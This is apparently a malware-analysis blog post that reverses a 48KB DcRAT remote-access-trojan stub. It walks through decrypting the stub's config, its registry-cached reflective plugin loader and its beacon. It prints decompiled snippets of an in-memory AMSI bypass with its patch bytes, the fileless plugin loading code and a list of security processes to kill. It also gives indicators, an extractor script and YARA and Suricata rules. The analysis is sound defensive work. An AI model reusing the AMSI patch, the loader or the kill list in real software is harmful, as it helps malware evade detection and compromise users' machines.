Post

DcRAT in 48KB: Cracking the Config, Mapping the Plugin Loader, and Why the Stub IS the Malware

Reversing a 48KB DcRAT stub, cracking AES-256 encrypted config via PBKDF2 key derivation, mapping the fileless plugin architecture, and documenting why a minimal loader with zero offensive code scores 100/100 on CAPA.

DcRAT in 48KB: Cracking the Config, Mapping the Plugin Loader, and Why the Stub IS the Malware

Forty-eight kilobytes. That’s less than a favicon. This .NET binary sat at the bottom of my triage queue with a CAPA score of 100/100 and a tag that said “.NET RAT indicators: encrypted_c2.” I almost passed it over for a larger, flashier sample. Then I decompiled it and found something that reframed how I think about RAT analysis.

The binary has no keylogger. No file manager. No reverse shell. No screen capture. No browser stealer. No clipboard monitor. None of the capabilities that CAPA scored 100/100 for are actually implemented in the stub, they’re all delivered as plugin DLLs after the initial C2 connection, cached in the Windows registry as binary blobs, and loaded reflectively into the same process without ever touching disk.

The stub’s only job is to survive, persist, and load whatever the operator sends it. All 48 kilobytes are dedicated to exactly that: encrypted config, TLS socket, AMSI bypass, anti-VM check, process killer, BSOD protection, and a plugin loader. The malware IS the loader. Everything else is ephemeral.

This is DcRAT (Dark Crystal RAT), a Malware-as-a-Service RAT that’s been active since 2018 and saw a massive surge in 2025 with 57+ new C2 domains. This post documents the full reversing: cracking the AES-256 encrypted config, extracting the C2 address, mapping the plugin architecture, and explaining why a binary with zero offensive code gets the maximum threat score.


Sample

Property Value
SHA-256 21117a9986e6c46e6ded575f875b254218d4d9b9588c1391fddf3b8b7cfa7e61
MD5 (extracted from report)
Size 48,640 bytes (47.5 KB)
Format PE32 .NET assembly (x86, .NET Framework 4.0)
Entropy .text section: 5.64 (normal, not packed)
CAPA 100/100, RED ALERT
Version 1.0.7.0

Identification: DcRAT (Dark Crystal RAT) v1.0.7, campaign group “update”, C2 at update35630[.]duckdns[.]org:35630.


Kill Chain

DcRAT kill chain Config decrypt → cert verify → anti-VM → mutex → AMSI bypass → TLS C2 connect → beacon → plugin dispatch loop


Cracking the Config

Every config field is AES-256-CBC encrypted with HMAC-SHA256 authentication. The key derivation uses PBKDF2 with a hardcoded salt that’s become DcRAT’s signature: DcRatByqwqdanchun.

1
2
3
4
5
6
7
8
9
// From Aes256.cs — the DcRAT crypto signature
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");

public Aes256(string masterKey)
{
    using Rfc2898DeriveBytes kdf = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
    _key = kdf.GetBytes(32);      // AES-256 key
    _authKey = kdf.GetBytes(64);  // HMAC-SHA256 auth key
}

The wire format for each encrypted field:

1
[HMAC-SHA256 (32 bytes)][IV (16 bytes)][AES-CBC ciphertext (PKCS7 padded)]

The master key is Base64-encoded in Settings.Key:

1
2
3
SExzRk9tZTVTenBLU1JEa0huSU4xQndzdTJzOXg3Tm8=
↓ Base64 decode
HLsFOme5SzpKSRDkHnIN1Bwsu2s9x7No

With this key and the PBKDF2 parameters, a Python script cracks the entire config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import base64

KEY = "HLsFOme5SzpKSRDkHnIN1Bwsu2s9x7No"
SALT = b"DcRatByqwqdanchun"
derived = PBKDF2(KEY, SALT, dkLen=96, count=50000)  # HMAC-SHA1 (default)
aes_key = derived[:32]

def decrypt(b64):
    raw = base64.b64decode(b64)
    iv = raw[32:48]       # skip HMAC, grab IV
    ct = raw[48:]         # ciphertext
    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    dec = cipher.decrypt(ct)
    return dec[:-dec[-1]].decode()  # PKCS7 unpad

Decrypted Configuration

Field Encrypted (Base64) Decrypted
C2 Host WT5Kqz1F9xJ+HQfLdBBg0n... update35630[.]duckdns[.]org
C2 Port tofjRrmWFl3qAKmJZC29WB... 35630
Version bgkp8PfVZ09YN4eXvu+Iv... 1.0.7
Mutex SmrPhYgAD5HylIvTTc4vU... DcRatMutex_qwqdanchunl
Group Ei/G+eC7tCu1LhuJBwSwd... update
Install FaDtXGD6jnOIc83tP9l7q... false
BSOD yEgcgKKmcMUA4jRNjnWtl... false
Anti-VM B78qSCvcxjOUc+/+lB9VB... false
Anti-Process HV1lRb3qZ2mL8fdiLE2Jb... false
Pastebin JkM8/1t3EP1rhch6vcm60... null

The operator disabled every protection feature, anti-VM, anti-process, BSOD protection, and even the install/persistence mechanism. This is a bare minimum deployment: connect to C2, load plugins, nothing else. The 48KB size reflects this minimalism.

Config Integrity Verification

After decrypting, the stub verifies the AES key’s RSA-SHA256 signature against the embedded X509 server certificate:

1
2
3
4
5
6
7
// From Settings.VerifyHash() — anti-tampering
RSACryptoServiceProvider rsa = (RSACryptoServiceProvider)Server_Certificate.PublicKey.Key;
using SHA256Managed sha = new SHA256Managed();
return rsa.VerifyHash(
    sha.ComputeHash(Encoding.UTF8.GetBytes(Key)),
    CryptoConfig.MapNameToOID("SHA256"),
    Convert.FromBase64String(Server_signa_ture));

If verification fails, the entire RAT exits. return false from InitializeSettings() triggers Environment.Exit(0) in Program.Main(). This prevents config tampering and ensures only the original operator’s C2 server can control the implant.


The Plugin Architecture: Why the Stub IS the Malware

Plugin architecture C2 sends plugin → store in registry → decompress → reflective load → invoke Plugin.Plugin.Run()

This is the core insight of this sample. The 48KB stub has zero offensive capabilities. Every feature analysts associate with DcRAT, keylogging, file theft, reverse shell, screen capture, webcam, browser password stealing, is delivered as a plugin DLL after the initial connection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// From ClientSocket.cs — the plugin dispatch
case "plu_gin":
    // Check if plugin hash exists in registry cache
    string hash = msgPack.ForcePathObject("Hash").AsString;
    byte[] cached = SetRegistry.GetValue(hash);
    if (cached == null) {
        // Request plugin from C2
        SendPluginRequest(hash);
    } else {
        // Load from cache — fileless execution
        Invoke(cached, msgPack);
    }
    break;

case "save_Plugin":
    // Store plugin DLL in registry for persistence
    string pluginHash = msgPack.ForcePathObject("Hash").AsString;
    byte[] pluginBytes = msgPack.ForcePathObject("Plugin").GetAsBytes();
    SetRegistry.SetValue(pluginHash, pluginBytes);  // HKCU\Software\<HWID>\<hash>
    break;

The plugin invocation uses standard .NET reflection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// From ClientSocket.Invoke() — reflective assembly loading
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(pluginBytes));
Type pluginType = assembly.GetType("Plugin.Plugin");
object instance = Activator.CreateInstance(pluginType);
pluginType.GetMethod("Run").Invoke(instance, new object[] {
    socket,              // live C2 connection
    ServerCertificate,   // for authenticated comms
    Settings.Hw_id,      // victim identifier
    msgPackData,         // command parameters
    mutexHandle,         // instance lock
    Settings.MTX,        // mutex name
    Settings.BS_OD,      // BSOD flag
    Settings.In_stall    // install flag
});

Fileless persistence: plugins are stored as GZip-compressed binary blobs in HKCU\Software\<HWID>\<hash>. They never touch the filesystem. On subsequent connections, the C2 sends the hash and the stub loads the plugin directly from the registry, no re-download needed.

Kaspersky’s research has documented 34+ distinct DcRAT plugins including keylogger, webcam capture, file theft, password exfiltration, clipboard monitoring, reverse shell, and ransomware. None of these were present in this sample, they would have been delivered post-compromise.


AMSI Bypass

The Amsi.cs class patches AmsiScanBuffer in memory using dynamically resolved APIs. The function and DLL names are Base64-encoded to avoid string-based detection:

1
2
3
4
5
6
7
8
9
10
// From Amsi.cs — all strings Base64-encoded
IntPtr hModule = Win32.LoadLibraryA(
    Convert.FromBase64String("YW1zaS5kbGw="));          // "amsi.dll"
IntPtr pFunc = Win32.GetProcAddress(hModule,
    Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI="));  // "AmsiScanBuffer"
Win32.VirtualProtect(pFunc, size, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE

// x64 patch: mov eax, 0xDD070057; ret
// x86 patch: mov eax, 0x07005700; ret 0x18
Marshal.Copy(patch, 0, pFunc, patch.Length);

Note the deliberate variable name misdirection in Win32.cs: the field named VirtualAllocEx is actually a delegate to VirtualProtect. An analyst doing quick grep-based analysis for VirtualAllocEx would find a false positive while missing the real VirtualProtect call.


Anti-Process Kill List

When Anti_Process is enabled (disabled in this build), a background thread terminates 13 security and analysis tools every 50ms:

Process Tool
Taskmgr.exe Task Manager
ProcessHacker.exe Process Hacker
procexp.exe Process Explorer
MSASCui.exe Windows Defender GUI
MsMpEng.exe Windows Defender engine
MpCmdRun.exe Defender CLI
NisSrv.exe Defender NIS
MSConfig.exe System Configuration
Regedit.exe Registry Editor
taskkill.exe taskkill command itself

Uses CreateToolhelp32SnapshotProcess32First/NextOpenProcess(PROCESS_TERMINATE)TerminateProcess, all via direct P/Invoke.


C2 Beacon

On first connection, the stub sends a ClientInfo MsgPack packet with:

Field Value
HWID MD5-based hardware fingerprint
User Environment.UserName
OS Full name + architecture
Camera Webcam detected (boolean)
Path Executable location
Version 1.0.7
Admin Privilege level
Perfor_mance Current foreground window title
Anti_virus Installed AV products
Group update

The keepalive ping (every 10-15 seconds, randomized) includes the current foreground window title, providing passive surveillance of what the victim is doing, even without a keylogger plugin loaded.


Obfuscation Techniques

The stub uses no packer or code-level obfuscator (no ConfuserEx, no Dotfuscator), the class and method names are plaintext. Instead, it relies on string-level obfuscation layered across multiple techniques:

# Technique Example Purpose
1 AES-256 config encryption All config fields are PBKDF2 → AES-CBC → Base64 Hides C2 address, mutex, group from static scanners
2 Base64 API names YW1zaS5kbGw=amsi.dll Hides AMSI/VirtualProtect strings from YARA
3 Base64 commands L2Mgc2NodGFza3M.../c schtasks /create... Hides persistence commands
4 Variable name misdirection VirtualAllocEx field → actually resolves to VirtualProtect Tricks grep-based analysts
5 Underscore-split field names Hos_ts, Por_ts, BS_OD, An_ti Breaks regex matching for “Hosts”, “Ports”, “BSOD”
6 RSA signature verification SHA256 of key verified against X509 cert Anti-tampering — RAT exits if config was modified
7 GZip + MsgPack wire encoding All C2 traffic double-wrapped Hides command structure from network inspection

The underscore trick is subtle, a YARA rule looking for "Hosts" or "Ports" won’t match "Hos_ts" or "Por_ts". Similarly, "BSOD" doesn’t match "BS_OD". These aren’t random names, they’re deliberately split to evade string signatures while remaining readable to the developer.


No Process Injection. But Fileless Execution Via Reflection

The stub contains no process injection code, no VirtualAllocEx, no WriteProcessMemory, no CreateRemoteThread, no process hollowing. The only memory manipulation is the AMSI VirtualProtect patch.

However, the plugin system achieves in-process fileless execution via .NET reflection:

1
2
3
4
// Not injection — but equally dangerous
Assembly asm = AppDomain.CurrentDomain.Load(Zip.Decompress(pluginBytes));
Type t = asm.GetType("Plugin.Plugin");
Activator.CreateInstance(t).GetMethod("Run").Invoke(...);

Plugin DLLs never touch disk, they’re stored in the registry and loaded directly into the stub’s process space. From a detection perspective, this is harder to catch than traditional injection because there’s no cross-process memory write to hook.


Code Weaknesses and Defensive Opportunities

Certificate Is Extractable. MITM the C2

The X509 server certificate is embedded in the binary (Base64 in Settings.Certifi_cate). A defender who extracts the encrypted cert, decrypts it with the known AES key, and imports it can impersonate the C2 server. The ValidateServerCertificate callback compares against this embedded cert, if you present the same cert, the TLS handshake succeeds.

Plugin System Has No Code Signing

AppDomain.CurrentDomain.Load() accepts any valid .NET assembly, no hash verification, no Authenticode check, no code signing. A C2 impersonator can push a cleanup plugin that removes persistence, deletes registry caches, and terminates the RAT.

Anti-VM Is Trivially Bypassable

The only VM detection is WMI Win32_CacheMemory returning 0 entries. This is one of the weakest anti-VM checks available, most modern analysis VMs report cache memory correctly. Even those that don’t can be patched with a single WMI provider override.

HWID Is Predictable. Plugin Cache Is Findable

The hardware ID is MD5(ProcessorCount + UserName + MachineName + OSVersion + SystemDriveTotalSize)[:20]. All inputs are available to any process. An incident responder can compute the HWID and directly navigate to HKCU\Software\<HWID> to find cached plugin DLLs, even if the rootkit is active.

Keepalive Leaks Activity to Any MITM

Every 10-15 seconds, the ping packet includes the victim’s foreground window title in plaintext (inside the TLS tunnel). A defender who MITMs the connection (using the extracted cert) gets a real-time feed of what the victim sees on screen, effectively turning the RAT’s surveillance against the operator.

Cleanup Registry Reveals UAC Bypass Techniques

Methods.ClearSetting() deletes three specific registry keys:

1
2
3
4
// From Methods.cs — cleanup reveals the attack playbook
Registry.CurrentUser.DeleteSubKey("Environment\\windir");         // eventvwr.exe bypass
Registry.CurrentUser.DeleteSubKey("Software\\Classes\\mscfile");  // CompMgmtLauncher bypass
Registry.CurrentUser.DeleteSubKey("Software\\Classes\\ms-settings"); // fodhelper.exe bypass

The stub cleans up after UAC bypass plugins, but the cleanup code itself reveals exactly which three UAC bypass techniques the operator’s plugin toolkit uses. A defender can preemptively monitor these registry paths as early-warning indicators.


IOC Appendix

Network Indicators

Type Value Context
Domain update35630[.]duckdns[.]org C2 server (DuckDNS DDNS)
Port 35630/tcp C2 port (TLS)

Host Indicators

Type Value Context
Mutex DcRatMutex_qwqdanchunl Single instance lock
Registry HKCU\Software\<HWID> Plugin cache (fileless)
Salt DcRatByqwqdanchun PBKDF2 salt (DcRAT signature)
AES Key HLsFOme5SzpKSRDkHnIN1Bwsu2s9x7No Config decryption master key

File Hash

Hash Value
SHA-256 21117a9986e6c46e6ded575f875b254218d4d9b9588c1391fddf3b8b7cfa7e61

MITRE ATT&CK Mapping

ID Technique Evidence
T1059.001 PowerShell Base64-encoded commands in persistence
T1053.005 Scheduled Task Admin persistence via schtasks /create
T1547.001 Registry Run Keys User persistence via HKCU\...\Run
T1140 Deobfuscate/Decode AES-256 config decryption, Base64 API names
T1562.001 Disable or Modify Tools AMSI bypass, analysis tool killer (13 processes)
T1497 Virtualization/Sandbox Evasion WMI Win32_CacheMemory VM detection
T1106 Native API P/Invoke for process termination, AMSI patching
T1620 Reflective Code Loading AppDomain.Load() for plugin DLLs from registry
T1112 Modify Registry Plugin storage in HKCU\Software\<HWID>
T1071 Application Layer Protocol MsgPack + GZip over TLS
T1573 Encrypted Channel TLS with certificate pinning

Reproducible Extraction

The config extraction script automates the full AES decryption pipeline:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
"""DcRAT Config Extractor — decrypts all AES-256 config fields."""
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import base64

# DcRAT-specific constants
SALT = b"DcRatByqwqdanchun"
ITERATIONS = 50000

def crack_dcrat(master_key, encrypted_fields):
    """Decrypt DcRAT config given the master key and encrypted field values."""
    derived = PBKDF2(master_key, SALT, dkLen=96, count=ITERATIONS)
    aes_key = derived[:32]  # first 32 bytes = AES-256 key

    for name, b64_value in encrypted_fields.items():
        raw = base64.b64decode(b64_value)
        # Wire format: [HMAC-SHA256 (32)][IV (16)][AES-CBC ciphertext]
        iv = raw[32:48]
        ciphertext = raw[48:]
        cipher = AES.new(aes_key, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(ciphertext)
        plaintext = decrypted[:-decrypted[-1]].decode()  # PKCS7 unpad
        print(f"  {name:15s} = {plaintext}")

Full script available in the analysis bundle.

Usage:

1
python extract_dcrat_config.py sample.exe --key "HLsFOme5SzpKSRDkHnIN1Bwsu2s9x7No"

Detection

YARA Rules

Two rules targeting this sample and the DcRAT family. Full file: rats/dcrat/dcrat_v107.yar

Rule 1. Campaign-specific (this build):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import "pe"

rule DcRAT_Config_Update35630
{
    meta:
        description = "Detects this specific DcRAT build targeting update35630.duckdns.org"
        author = "Tao Goldi"
        date = "2026-04"
        version = 1
        sha256 = "21117a9986e6c46e6ded575f875b254218d4d9b9588c1391fddf3b8b7cfa7e61"
        severity = "critical"
        family = "DcRAT"

    strings:
        $key = "SExzRk9tZTVTenBLU1JEa0huSU4xQndzdTJzOXg3Tm8=" ascii wide
        $mutex_enc = "SmrPhYgAD5HylIvTTc4vUYeqfyukZO6y0l91cJgEBCRGN6QUWN" ascii wide
        $host_enc = "WT5Kqz1F9xJ+HQfLdBBg0nU4iSQL6i2Jc17coZD6434zPQsBlUu7Rlo3" ascii wide
        $salt = "DcRatByqwqdanchun" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        pe.imports("mscoree.dll") and
        (($key and $salt) or ($host_enc and $salt) or ($key and $mutex_enc))
}

Rule 2. Generic DcRAT family:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
rule DcRAT_Generic
{
    meta:
        description = "Generic DcRAT / Dark Crystal RAT family detection"
        author = "Tao Goldi"
        date = "2026-04"
        version = 1
        severity = "high"
        family = "DcRAT"

    strings:
        $salt = "DcRatByqwqdanchun" ascii wide
        $mutex_prefix = "DcRatMutex_" ascii wide
        $ns1 = "Client.Algorithm" ascii wide
        $ns2 = "Client.Connection" ascii wide
        $ns3 = "Client.Helper" ascii wide
        $ns4 = "Client.Install" ascii wide
        $msgpack = "MessagePackLib" ascii wide
        $pong = "Po_ng" ascii wide
        $plugin = "plu_gin" ascii wide
        $save = "save_Plugin" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        pe.imports("mscoree.dll") and
        ($salt or $mutex_prefix or (3 of ($ns*) and $msgpack) or ($pong and $plugin and $save))
}

Suricata

1
2
3
4
5
6
alert tls $HOME_NET any -> $EXTERNAL_NET 35630 (
    msg:"MALWARE DcRAT C2 beacon (TLS on non-standard port)";
    flow:established,to_server;
    tls.sni; content:"duckdns.org";
    sid:2026046; rev:1;
)

Conclusion

This sample is a masterclass in minimalist malware design. At 48KB, it’s smaller than most legitimate DLLs, yet it scores 100/100 on CAPA because the potential for harm is built into its architecture, not its code. The stub is a delivery mechanism for a modular RAT ecosystem with 34+ documented plugins that provide every offensive capability an operator needs.

The DuckDNS C2 at update35630[.]duckdns[.]org:35630 follows DcRAT’s documented operational pattern. Kaspersky identified 57+ new DcRAT domains in 2025 alone, many using dynamic DNS services. The “update” group tag and disabled protection features suggest this is either a test build or a targeted deployment where stealth mattered more than resilience.

For defenders: the PBKDF2 salt DcRatByqwqdanchun is a high-fidelity family indicator, it’s hardcoded in the Aes256.cs source and present in every DcRAT build. The mutex prefix DcRatMutex_ is equally reliable. And the fileless plugin storage in HKCU\Software\<HWID> means forensic investigators should always check for binary registry values under user-accessible hives.


Tools used: ILSpy (decompilation), pycryptodome (AES/PBKDF2 decryption), custom Python config extractor. Family identification confirmed via PBKDF2 salt and Malpedia DcRAT entry. Campaign context from Kaspersky Securelist and ANY.RUN DcRAT trends.

This post is licensed under CC BY 4.0 by the author.